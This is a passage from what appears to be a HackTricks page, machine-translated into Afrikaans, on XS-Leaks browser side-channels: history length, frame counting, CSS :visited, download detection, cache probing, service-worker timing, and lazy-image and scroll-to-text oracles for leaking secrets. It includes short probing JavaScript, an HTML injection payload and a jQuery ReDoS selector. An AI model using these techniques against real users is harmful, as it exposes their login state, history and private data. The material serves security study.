SameSite=None of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.

URL Maksimum Lengte - Kliëntkant

Maksimum Aanwysings

As die maksimum aantal aanwysings wat 'n blaaier moet volg 20 is, kan 'n aanvaller probeer om sy bladsy met 19 aanwysings te laai en uiteindelik die slagoffer na die getoetste bladsy te stuur. As 'n fout geaktiveer word, was die bladsy besig om die slagoffer te aanwys.

Geskiedenislengte

Die Geskiedenis-API maak dit vir JavaScript-kode moontlik om die blaaiergeskiedenis te manipuleer, wat die bladsye wat deur 'n gebruiker besoek is, stoor. 'n Aanvaller kan die lengte-eienskap gebruik as 'n insluitingsmetode: om JavaScript- en HTML-navigasie op te spoor.
Deur history.length te ondersoek, 'n gebruiker na 'n bladsy te laat navigeer, dit terug te verander na dieselfde oorsprong en die nuwe waarde van history.length te ondersoek.

Geskiedenislengte met dieselfde URL

  • Insluitingsmetodes: Raamwerke, Pop-ups
  • Opspoorbare Verskil: As die URL dieselfde is as die geradeerdes
  • Opsomming: Dit is moontlik om te raai of die ligging van 'n raamwerk/pop-up in 'n spesifieke URL is deur die geskiedenislengte te misbruik.
  • Kodevoorbeeld: Onder

'n Aanvaller kan JavaScript-kode gebruik om die ligging van die raamwerk/pop-up na 'n geradeerde een te manipuleer en dit onmiddellik te verander na about:blank. As die geskiedenislengte toeneem, beteken dit dat die URL korrek was en dat dit tyd gehad het om te toeneem omdat die URL nie herlaai word as dit dieselfde is nie. As dit nie toeneem nie, beteken dit dat dit geprobeer het om die geradeerde URL te laai maar omdat ons onmiddellik daarna about:blank gelaai het, het die geskiedenislengte nooit toegeneem toe die geradeerde URL gelaai is nie.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Raamtelwerk Tel

Die tel van die aantal raamtelwerke in 'n webbladsy wat geopen word deur middel van iframe of window.open kan help om die status van die gebruiker oor daardie bladsy te identifiseer.
Verder, as die bladsy altyd dieselfde aantal raamtelwerke het, kan die voortdurende telling van die aantal raamtelwerke help om 'n patroon te identifiseer wat moontlik inligting kan lek.

'n Voorbeeld van hierdie tegniek is dat in Chrome 'n PDF met raamtelwerk-telling opgespoor kan word omdat 'n embed intern gebruik word. Daar is Open URL Parameters wat sekere beheer oor die inhoud bied, soos zoom, view, page, toolbar, waar hierdie tegniek interessant kan wees.

HTMLElemente

Inligtingslekking deur middel van HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese mediabestande gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word wat die mediagrootte verander. Dit kan deur aanvallers uitgebuit word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.

Inligting Blootgestel deur HTML-elemente

  • HTMLMediaElement: Hierdie element onthul die duration en buffered tyd van die media, wat toeganklik is deur middel van sy API. Lees meer oor HTMLMediaElement
  • HTMLVideoElement: Dit stel videoHeight en videoWidth bloot. In sommige webblaaie is daar addisionele eienskappe soos webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, en webkitDecodedFrameCount beskikbaar, wat meer in-diepte inligting oor die mediainhoud bied. Lees meer oor HTMLVideoElement
  • getVideoPlaybackQuality(): Hierdie funksie verskaf besonderhede oor die kwaliteit van die videoweergawe, insluitend totalVideoFrames, wat die hoeveelheid verwerkte videodata kan aandui. Lees meer oor getVideoPlaybackQuality()
  • HTMLImageElement: Hierdie element lek die height en width van 'n prent. As 'n prent egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die image.decode()-funksie sal afgekeur word, wat aandui dat die prent nie behoorlik gelaai kon word nie. Lees meer oor HTMLImageElement

CSS Eienskap

Webtoepassings kan die webwerf-styling verander afhangende van die gebruiker se toestand. Kruis-oorsprong CSS-lêers kan met die HTML-skakel-element in die aanvaller se bladsy ingebed word, en die reëls sal op die aanvaller se bladsy toegepas word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie verskille opspoor afhangende van die gebruiker se toestand.
As 'n lektegniek kan die aanvaller die window.getComputedStyle-metode gebruik om CSS-eienskappe van 'n spesifieke HTML-element te lees. As gevolg hiervan kan 'n aanvaller willekeurige CSS-eienskappe lees as die betrokke element en eienskapsnaam bekend is.

CSS Geskiedenis

{% hint style="info" %} Volgens hierdie bron werk dit nie in hooflose Chrome nie. {% endhint %}

Die CSS :visited-selekteerder word gebruik om URL's anders te style as dit voorheen deur die gebruiker besoek is. In die verlede kon die getComputedStyle()-metode gebruik word om hierdie stylverskille te identifiseer. Moderne webblaaie het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in om altyd die berekende styl terug te gee asof die skakel besoek is en om die style wat met die :visited-selekteerder toegepas kan word, te beperk.

Ten spyte van hierdie beperkings is dit moontlik om die besoekte toestand van 'n skakel indirek te bepaal. Een tegniek behels om die gebruiker te mislei om met 'n area wat deur CSS geraak word, te interaksieer, spesifiek deur die mix-blend-mode-eienskap te gebruik. Hierdie eienskap maak die vermenging van elemente met hul agtergrond moontlik, wat moontlik die besoekte toestand kan onthul op grond van gebruikersinteraksie.

Verder kan opsporing sonder gebruikersinteraksie bereik word deur die rendertye van skakels uit te buit. Aangesien webblaaie besoekte en onbesoekte skakels moontlik anders kan rendeer, kan dit 'n meetbare tydverskil in rendertye veroorsaak. 'n Bewys van konsep (PoC) is genoem in 'n Chromium-foutverslag wat hierdie tegniek demonstreer deur gebruik te maak van verskeie skakels om die tydverskil te versterk, sodat die besoekte toestand deur middel van tydsanalise opspoorbaar is.

Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:

Inhoudsdokument X-Frame-lek

In Chrome, as 'n bladsy met die X-Frame-Options-hoofer ingestel op "deny" of "same-origin" as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome gee uniek 'n leë dokumentobjek (in plaas van null) terug vir die contentDocument-eienskap van hierdie objek, anders as in iframes of ander webblaaier. Aanvallers kan hiervan gebruik maak deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars onkonsekwent die X-Frame-Options-hoofer instel en dikwels foutebladsye oorsien. Bewustheid en konsekwente toepassing van sekuriteitshoofers is noodsaaklik om sulke lekke te voorkom.

Aflaaibepaling

Die Content-Disposition-hoofer, spesifiek Content-Disposition: attachment, instrueer die blaaier om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan uitgebuit word om vas te stel of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai veroorsaak. In Chromium-gebaseerde blaaier is daar 'n paar tegnieke om hierdie aflaai-gedrag op te spoor:

  1. Aflaaibalkmonitoring:
  • Wanneer 'n lêer in Chromium-gebaseerde blaaier afgelaai word, verskyn 'n aflaaibalk onder aan die blaaier-venster.
  • Deur veranderinge in die vensterhoogte dop te hou, kan aanvallers aflei wanneer die aflaaibalk verskyn, wat aandui dat 'n aflaai geïnisieer is.
  1. Aflaainavigasie met iframes:
  • Wanneer 'n bladsy 'n lêeraflaai veroorsaak deur die Content-Disposition: attachment-hoofer te gebruik, veroorsaak dit nie 'n navigasiegebeurtenis nie.
  • Deur die inhoud in 'n iframe te laai en vir navigasiegebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
  1. Aflaainavigasie sonder iframes:
  • Soortgelyk aan die iframe-tegniek, behels hierdie metode die gebruik van window.open in plaas van 'n iframe.
  • Deur navigasiegebeurtenisse in die nuut geopende venster te monitor, kan vasgestel word of 'n lêeraflaai geïnisieer is (geen navigasie) of dat die inhoud inline vertoon word (navigasie vind plaas).

In situasies waar slegs aangemelde gebruikers sulke aflaaie kan veroorsaak, kan hierdie tegnieke gebruik word om die gebruiker se verifikasietoestand indirek af te lei op grond van die blaaier se reaksie op die aflaai-versoek.

Verdeelde HTTP-cache-omleiding

{% hint style="warning" %} Dit is waarom hierdie tegniek interessant is: Chrome het nou cache-partisionering, en die cache-sleutel van die nuut geopende bladsy is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die cache-sleutel wees: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), die cache-sleutel is anders, sodat die cache nie gedeel kan word nie. Jy kan meer detail hier vind: Gaining security and privacy by partitioning the cache
(Kommentaar vanaf hier) {% endhint %}

As 'n webwerf voorbeeld.com 'n bron vanaf *.voorbeeld.com/bron insluit, sal daardie bron dieselfde cache-sleutel hê asof die bron direk deur topvlak-navigasie aangevra is. Dit is omdat die cache-sleutel bestaan uit topvlak-eTLD+1 en raam-eTLD+1.

Omdat toegang tot die cache vinniger is as om 'n bron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20 ms (byvoorbeeld) daarna te kanselleer. As die oorsprong verander is na die stop, beteken dit dat die bron in die cache was.
Of jy kan eenvoudig 'n paar fetch-aanroep na die moontlik in die cache geplaasde bladsy stuur en die tyd meet.

Handmatige Omskakeling

![](<../.gitbook/assets/image (652).png>

Skripsie Besoedeling

Dienswerkers

In die gegewe scenario neem die aanvaller die inisiatief om 'n dienswerker te registreer binne een van hul domeine, spesifiek "attacker.com". Vervolgens maak die aanvaller 'n nuwe venster oop in die teikenwebwerf vanuit die hoofdokument en instrueer die dienswerker om 'n tydteller te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller na die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die dienswerker bestuur word.

By die aankoms van die versoek wat in die vorige stap geïnisieer is, reageer die dienswerker met 'n 204 (Geen Inhoud) statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt neem die dienswerker 'n meting van die tydteller wat vroeër in stap twee geïnisieer is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.

{% hint style="warning" %} In 'n uitvoertydmeting is dit moontlik om netwerk faktore uit te skakel om meer akkurate metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word voor die laai daarvan te laai. {% endhint %}

Ophalingstyd

Kruis-Venster Tydsberekening


Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Met HTML of Herinspuiting

Hier kan jy tegnieke vind om inligting uit 'n kruis-oorsprong HTML te eksfiltreer deur HTML-inhoud in te spuit. Hierdie tegnieke is interessant in gevalle waar jy om enige rede HTML kan inspuit, maar nie JS-kode kan inspuit nie.

Hangende Opmaak

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Beeld Lui Laai

As jy inhoud wil eksfiltreer en jy kan HTML voor die geheime invoeg, moet jy die gewone hangende opmaak tegnieke nagaan.
As jy egter om enige rede dit KARAKTER vir KARAKTER moet doen (miskien is die kommunikasie via 'n kas-tref), kan jy hierdie truuk gebruik.

Beelde in HTML het 'n "loading" eienskap waarvan die waarde "lazy" kan wees. In daardie geval sal die beeld gelaai word wanneer dit besigtig word en nie terwyl die bladsy laai nie:

<img src=/something loading=lazy >

Daarom kan jy 'n hele klomp rommelkarakters byvoeg (Byvoorbeeld duisende "W"s) om die webblad te vul voor die geheim of iets soos <br><canvas height="1850px"></canvas><br> by te voeg.
As ons inspuiting byvoorbeeld voor die vlag verskyn, sal die beeld gelaai word, maar as dit na die vlag verskyn, sal die vlag + die rommel voorkom dat dit gelaai word (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat in hierdie skryfstuk gebeur het.

'n Ander opsie sou wees om die scroll-to-text-fragment te gebruik as dit toegelaat word:

Scroll-to-text-fragment

Maar jy laat die robot die bladsy besoek met iets soos

#:~:text=SECR

So die webbladsy sal iets soos wees: https://victim.com/post.html#:~:text=SECR

Waar post.html die aanvaller se rommelkarakters en lui laai-beeld bevat en dan die geheim van die bot bygevoeg word.

Wat hierdie teks sal doen, is om die bot toegang te gee tot enige teks op die bladsy wat die teks SECR bevat. Aangesien daardie teks die geheim is en dit net onder die beeld is, sal die beeld slegs laai as die gerade geheim korrek is. So daar het jy jou orakel om die geheime karakter vir karakter uit te voer.

'n Voorbeeld van kode om hiervan gebruik te maak: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Beeld lui laai-tyd gebaseer

As dit nie moontlik is om 'n eksterne beeld te laai wat die aanvaller kan aandui dat die beeld gelaai is nie, sal 'n ander opsie wees om die karakter verskeie kere te raai en dit te meet. As die beeld gelaai word, sal al die versoek langer neem as wanneer die beeld nie gelaai word nie. Dit is wat gebruik is in die oplossing van hierdie skryfstuk wat hier saamgevat word:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

As jQuery(location.hash) gebruik word, is dit moontlik om deur tydsberekening vas te stel of sekere HTML-inhoud bestaan, dit is omdat as die selekteerder main[id='site-main'] nie ooreenstem nie, hoef dit nie die res van die selekteerders te kontroleer nie:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injeksie

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Verdedigings

Daar is maatreëls aanbeveel in https://xsinator.com/paper.pdf ook in elke afdeling van die wiki https://xsleaks.dev/. Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik te bou en werkstrome outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}